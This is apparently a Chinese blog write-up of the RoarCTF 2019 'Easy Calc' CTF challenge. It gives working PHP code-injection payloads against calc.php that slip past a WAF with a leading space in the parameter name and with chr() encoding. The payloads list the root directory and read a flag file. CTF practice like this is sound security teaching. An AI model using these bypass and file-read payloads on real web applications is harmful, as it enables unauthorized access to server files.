0
点赞
收藏
分享

微信扫一扫

[RoarCTF 2019]Easy Calc

向上的萝卜白菜 2022-03-12 阅读 62

打开是一个计算器

输入会出现结果。

看名字有clac,我还查了一下calc函数

不过对写题没什么帮助,就当课外知识吧

查看源码发现提示

WAF是什么呢,查阅资料:

根据我的理解,应该是一个类似与防火墙的东西

查看一下calc.php文件,可以得知被过滤的字符

scandir():列出目录中的文件和目录

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

chr():从不同的 ASCII 值返回字符

因为/被过滤 所以使用chr(47)来替代

构造payload

http://node4.buuoj.cn:25834/calc.php?num=print_r(scandir(chr(47)))

  发现num不能传递字符,利用空格绕过

  在num前加一个空格,进行目录读取

http://node4.buuoj.cn:25834/calc.php? num=print_r(scandir(chr(47)))

 file_get_contents():把整个文件读入一个字符串中

参数描述
path必需。规定要读取的文件。
include_path可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

因为引号也被过滤了,所以flagg也需要使用chr函数

构造payload

http://node4.buuoj.cn:25834/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

举报

相关推荐

0 条评论